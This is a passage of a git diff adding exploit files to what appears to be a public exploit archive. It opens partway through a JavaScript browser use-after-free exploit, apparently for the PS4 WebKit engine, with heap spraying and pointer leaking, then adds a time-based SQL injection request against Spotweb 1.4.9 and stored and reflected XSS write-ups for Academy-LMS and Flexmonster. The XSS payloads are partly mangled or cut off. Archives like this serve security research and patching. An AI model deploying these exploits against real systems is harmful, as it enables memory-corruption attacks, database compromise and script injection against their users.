+ g_input = input3;
+
+ setTimeout(confuseTargetObjRound1, 10);
+ } else {
+ setTimeout(confuseTargetObjRound2, 10);
+ }
+}
+
+function dumpTargetObj() {
+ debug_log("[+] m_timer: " + g_timer_leak);
+ debug_log("[+] m_messageHeading: " + g_message_heading_leak);
+ debug_log("[+] m_messageBody: " + g_message_body_leak);
+}
+
+function findTargetObj() {
+ for (let i = 0; i < g_arr_ab_1.length; i++) {
+ if (!Int64.fromDouble(g_arr_ab_1[i][2]).equals(Int64.Zero)) {
+ debug_log("[+] Found fake ValidationMessage");
+
+ if (g_round === 2) {
+ g_timer_leak = Int64.fromDouble(g_arr_ab_1[i][2]);
+ g_message_heading_leak = Int64.fromDouble(g_arr_ab_1[i][4]);
+ g_message_body_leak = Int64.fromDouble(g_arr_ab_1[i][5]);
+ g_round++;
+ }
+
+ g_fake_validation_message = g_arr_ab_1[i];
+ g_arr_ab_1 = [];
+ return true;
+ }
+ }
+ return false;
+}
+
+function prepareUAF() {
+ g_input.setCustomValidity("ps4");
+
+ for (let i = 0; i < NB_FRAMES; i++) {
+ var element = document.createElement("frameset");
+ g_frames.push(element);
+ }
+
+ g_input.reportValidity();
+ var div = document.createElement("div");
+ document.body.appendChild(div);
+ div.appendChild(g_input);
+
+ /* First half spray */
+ for (let i = 0; i < NB_FRAMES / 2; i++)
+ g_frames[i].setAttribute("rows", g_rows1);
+
+ /* Instantiate target obj */
+ g_input.reportValidity();
+
+ /* ... and the second half */
+ for (let i = NB_FRAMES / 2; i < NB_FRAMES; i++)
+ g_frames[i].setAttribute("rows", g_rows2);
+
+ g_input.setAttribute("onfocus", "reuseTargetObj()");
+ g_input.autofocus = true;
+}
+
+/* HTMLElement spray */
+function sprayHTMLTextArea() {
+ debug_log("[+] Spraying HTMLTextareaElement ...");
+
+ let textarea_div_elem = document.createElement("div");
+ document.body.appendChild(textarea_div_elem);
+ textarea_div_elem.id = "div1";
+ var element = document.createElement("textarea");
+
+ /* Add a style to avoid textarea display */
+ element.style.cssText = 'display:block-inline;height:1px;width:1px;visibility:hidden;';
+
+ /*
+ * This spray is not perfect, "element.cloneNode" will trigger a fastMalloc
+ * allocation of the node attributes and an IsoHeap allocation of the
+ * Element. The virtual page layout will look something like that:
+ * [IsoHeap] [fastMalloc] [IsoHeap] [fastMalloc] [IsoHeap] [...]
+ */
+ for (let i = 0; i < SPRAY_ELEM_SIZE; i++)
+ textarea_div_elem.appendChild(element.cloneNode());
+}
+
+/* StringImpl Spray */
+function sprayStringImpl(start, end) {
+ for (let i = start; i < end; i++) {
+ let s = new String("A".repeat(LENGTH_TIMER - LENGTH_STRINGIMPL - 5) + i.toString().padStart(5, "0"));
+ g_obj_str[s] = 0x1337;
+ }
+}
+
+function go() {
+ /* Init spray */
+ sprayHTMLTextArea();
+
+ g_input = input1;
+ /* Shape heap layout for obj. reuse */
+ prepareUAF();
+}
\ No newline at end of file
diff --git a/exploits/multiple/webapps/49297.txt b/exploits/multiple/webapps/49297.txt
new file mode 100644
index 000000000..c33d4b7d2
--- /dev/null
+++ b/exploits/multiple/webapps/49297.txt
@@ -0,0 +1,18 @@
+# Exploit Title: Spotweb 1.4.9 - 'search' SQL Injection
+# Google Dork: N/A
+# Date: 20 December 2020
+# Exploit Author: BouSalman
+# Vendor Homepage: https://github.com/spotweb/spotweb
+# Software Link: N/A
+# Version: 1.4.9
+# Tested on: Ubuntu 18.04
+# CVE: CVE-2020-35545
+
+
+GET /?page=index&search[tree]=cat0_z0_c')+AND+(SELECT+1+FROM+(SELECT(SLEEP(5)))c)+AND+(' HTTP/1.1
+Host: 192.168.99.151
+User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
+Accept-Language: en-US,en;q=0.5
+Accept-Encoding: gzip, deflate
+Connection: close
\ No newline at end of file
diff --git a/exploits/multiple/webapps/49298.txt b/exploits/multiple/webapps/49298.txt
new file mode 100644
index 000000000..302800568
--- /dev/null
+++ b/exploits/multiple/webapps/49298.txt
@@ -0,0 +1,15 @@
+# Exploit Title: Academy-LMS 4.3 - Stored XSS
+# Date: 19/12/2020
+# Vendor page: https://academy-lms.com/
+# Version: 4.3
+# Tested on Win10 and Google Chrome
+# Exploit Author: Vinicius Alves
+
+# XSS Payload: ">
STORED XSS
(Scripts tag blocked)
+
+1) Access LMS and log in to admin panel
+2) Access courses page
+3) Open course manager and SEO menu
+4) Paste the XSS Payload tag and Submit
+5) Access the course page on frontend
+6) Exploited!
\ No newline at end of file
diff --git a/exploits/multiple/webapps/49302.txt b/exploits/multiple/webapps/49302.txt
new file mode 100644
index 000000000..1244a1154
--- /dev/null
+++ b/exploits/multiple/webapps/49302.txt
@@ -0,0 +1,15 @@
+# Exploit Title: Flexmonster Pivot Table & Charts 2.7.17 - 'Remote Report' Reflected XSS
+# Date: 08/01/2020
+# Exploit Author: Marco Nappi
+# Vendor Homepage: https://www.flexmonster.com/
+# Version:Flexmonster Pivot Table & Charts 2.7.17
+# Tested on:Flexmonster Pivot Table & Charts 2.7.17
+# CVE : CVE-2020-20140
+
+Cross Site Scripting (XSS) vulnerability in Remote Report component under the Open menu in Flexmonster Pivot Table & Charts 2.7.17
+
+Reflected XSS:
+The Reflected XSS is a result of insufficient input sanitization of the 'path' parameter when fetching the file specifications (file_specs.php). Below I have provided an example URL. When using this URL the user navigates to an non-existing file (the XSS payload). This results in the execution of the payload.
+
+payload:
+